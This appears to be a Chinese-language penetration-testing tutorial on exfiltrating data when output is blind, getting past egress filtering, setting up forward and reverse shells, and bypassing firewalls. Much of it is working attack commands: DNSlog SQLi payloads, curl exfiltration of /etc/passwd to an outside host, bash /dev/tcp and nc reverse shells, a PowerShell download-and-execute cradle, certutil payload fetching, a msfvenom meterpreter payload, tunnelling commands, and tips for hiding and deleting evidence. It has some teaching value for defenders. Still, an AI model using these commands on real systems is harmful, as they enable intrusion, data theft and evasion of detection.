网络安全数据传输与连接
[TOC]
网络安全数据传输与连接
一、数据不回显:原因与解决策略
1. 核心概念
数据不回显是指攻击中发送的 payload 未返回预期响应(如 SQLi 注入后无结果、命令执行无输出),本质是目标系统的输出机制被限制(如配置禁用、权限不足、逻辑屏蔽)。
2. 常见原因
- 应用层限制:程序仅返回固定格式响应,忽略攻击 payload 输出;
- 权限不足:执行命令/查询的用户无读取结果、输出数据的权限;
- 网络层过滤:防火墙拦截包含敏感字符的响应包;
- 技术特性:部分协议(如盲注、无交互命令行)本身不支持实时回显。
3. 演示配置
- 测试环境:DVWA(SQL 盲注模块)、Linux 无交互 Shell(
sh -c "command > /dev/null 2>&1") - 核心工具:DNSlog 平台(http://ceye.io/)、Burp Suite(payload 构造)、文件上传工具(如 Webdav)
4. 安全影响
直接阻碍漏洞验证与数据窃取,需通过间接方式确认漏洞存在并获取信息,攻击难度提升。
5. 攻击思路
- 盲注确认漏洞:用时间盲注(
if(条件,sleep(5),0))、布尔盲注(if(条件,1,0))判断 payload 是否生效; - DNSlog 外带数据:构造 payload 让目标触发 DNS 解析,将数据嵌入域名(如 SQLi:
select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\a'))); - 延迟写入文件:将执行结果写入可访问文件(如 Linux:
whoami > /var/www/html/result.txt;Windows:ipconfig > C:\inetpub\wwwroot\ip.txt),后续访问文件获取数据; - 带外通信:通过 HTTP 外带(
curl http://xxx.ceye.io/$(whoami))、FTP 上传,将数据传输至公网服务器。
二、数据不出网:突破网络限制
1. 核心概念
数据不出网是指目标内网/服务器无法主动连接公网(如仅允许入站、禁用出站端口、无路由),导致反弹 Shell、外带数据失败,是常见的网络隔离防护策略。
2. 限制原因
- 出入站策略:防火墙/安全组仅放行 80、443 等少量入站端口,禁用所有出站端口;
- 路由缺失:目标无公网 IP,仅能通过内网网关访问,无公网路由;
- 代理限制:需通过企业代理访问公网,且代理过滤敏感协议(如 TCP 反向连接)。
3. 演示配置
- 测试环境:VMware 搭建内网(无公网 IP)、Windows 防火墙仅放行 80 入站端口
- 核心工具:Frp(端口转发)、Ngrok(内网穿透)、ICMP 隧道工具(ptunnel-ng)
4. 安全影响
阻断反弹 Shell、主动外带数据等攻击路径,仅能通过正连接、隧道技术突破限制。
5. 攻击思路
- 正连接主动获取:若目标开放入站端口(如 22、3389),直接登录服务器(暴力破解、密钥登录)获取权限;
- 隧道穿透限制:
- TCP 隧道:用 Frp 配置公网服务器为中转(客户端:
frpc -u -server_addr=公网IP:7000 -remote_port=6666 -local_port=22),映射内网端口至公网; - ICMP 隧道:利用 ICMP 协议无端口限制特性,通过 ptunnel-ng 封装数据(
ptunnel-ng -p 公网IP -l 1080 -r 内网目标IP:22); - HTTP/HTTPS 隧道:用 reGeorg 将内网端口转为 HTTP 代理(
python reGeorgSocksProxy.py -u http://目标IP/tunnel.php -p 8888),通过 80/443 端口穿透。
- TCP 隧道:用 Frp 配置公网服务器为中转(客户端:
三、正反向连接:控制通道建立
1. 核心概念
正反向连接是攻击中建立控制通道的两种核心方式,本质是「主动发起方」的差异,适配不同网络环境(出网/不出网)。
| 连接类型 | 核心定义 | 适用场景 | 依赖条件 |
|---|---|---|---|
| 正向连接 | 攻击者主动连接目标开放端口(如 22、3389、自定义端口) | 目标开放入站端口、数据不出网 | 目标入站端口可访问(公网/内网可达) |
| 反向连接 | 目标主动连接攻击者监听端口 | 目标可出网、入站端口受限 | 目标允许出站连接、攻击者公网 IP 可达 |
2. 演示配置
- 正向连接:Linux 目标开启 SSH(22 端口)、Windows 开启 3389 远程桌面
- 反向连接:攻击者公网服务器(IP:192.168.1.100)、目标服务器(可出网)
3. 核心命令(反弹 Shell/正向连接)
(1)反向连接(反弹 Shell)
- Linux:
- Bash:
bash -i >& /dev/tcp/192.168.1.100/6666 0>&1 - Netcat:
nc -e /bin/bash 192.168.1.100 6666
- Bash:
- Windows:
- Powershell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://192.168.1.100/ps1.txt')" - Certutil:
certutil -urlcache -split -f http://192.168.1.100/nc.exe && nc.exe 192.168.1.100 6666 -e cmd.exe
- Powershell:
(2)正向连接
- Linux:
nc -lvp 8888 -e /bin/bash(目标开放 8888 端口,攻击者:nc 目标IP 8888) - Windows:
nc.exe -lvp 8888 -e cmd.exe(攻击者:nc 目标IP 8888)
4. 攻击思路
- 反向连接优先:目标可出网时,用反弹 Shell 绕过入站端口限制(无需开放端口),攻击者仅需监听公网端口;
- 正向连接补位:目标不出网但开放入站端口(如 22、3389),通过暴力破解、漏洞利用(如 SSH 密钥注入)获取登录权限,主动建立连接;
- 连接稳定性优化:用 Meterpreter 反弹 Shell(
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.100 lport=6666 -f elf -o shell.elf),支持自动重连、后台运行,避免连接断开。
四、外带与延迟写入:数据窃取进阶
1. 核心概念
外带是指通过非直接响应的方式(如 DNS、HTTP、FTP)将目标数据传输至公网;延迟写入是指将数据写入目标文件系统,后续通过访问/下载获取,均用于突破数据不回显、不出网限制。
2. 技术特点
- 外带:实时性强,无需访问目标文件,依赖目标出网能力;
- 延迟写入:不依赖出网,仅需目标有可访问的文件存储与读取权限。
3. 攻击思路
- 多协议外带组合:
- DNS 外带:适合无回显 SQLi、命令执行,兼容性强(多数系统支持 DNS 解析);
- HTTP 外带:用 Python 搭建简易服务器(
python -m http.server 80),目标执行curl http://公网IP/$(cat /etc/passwd | base64),攻击者查看访问日志获取 Base64 编码数据; - FTP 外带:在公网搭建 FTP 服务器(匿名登录),目标执行
echo "data" | ftp -v -n 公网IP 21 << EOF put - EOF,上传数据至 FTP;
- 延迟写入技巧:
- 隐藏文件路径:写入系统临时目录(Linux:
/tmp/;Windows:%TEMP%)或隐藏文件(./.result),避免被发现; - 分片写入:数据量大时拆分文件(
split -b 1M /etc/passwd /tmp/pw_),后续分批下载拼接; - 定时删除:写入后用计划任务删除文件(Linux:
at now + 5 minutes -f "rm /tmp/result.txt"),降低检测风险。
- 隐藏文件路径:写入系统临时目录(Linux:
五、出入站策略绕过:突破防火墙限制
1. 核心概念
出入站策略是防火墙/安全组的核心规则,通过限制端口、协议、IP 实现访问控制,是网络安全的第一道防线,攻击需针对性绕过规则限制。
2. 常见策略
- 仅放行常用入站端口:80(HTTP)、443(HTTPS)、22(SSH)、3389(RDP);
- 禁用出站端口:仅允许 80、443 出站(阻断其他协议反向连接);
- IP 白名单:仅允许指定 IP 访问核心端口(如 SSH 仅白名单办公 IP)。
3. 攻击思路
- 端口复用:利用开放端口(如 80、443)传输攻击流量(如将反弹 Shell 封装为 HTTP 流量,绕过出站限制);
- 协议伪装:将 TCP 连接伪装为 HTTPS 协议(用 sslwrap 工具),欺骗防火墙放行;
- IP 欺骗:伪造白名单 IP(如 ARP 欺骗内网网关,伪装白名单 IP 访问目标);
- 规则遍历:扫描防火墙放行的冷门端口(如 8080、8443),寻找未严格限制的端口作为攻击入口。
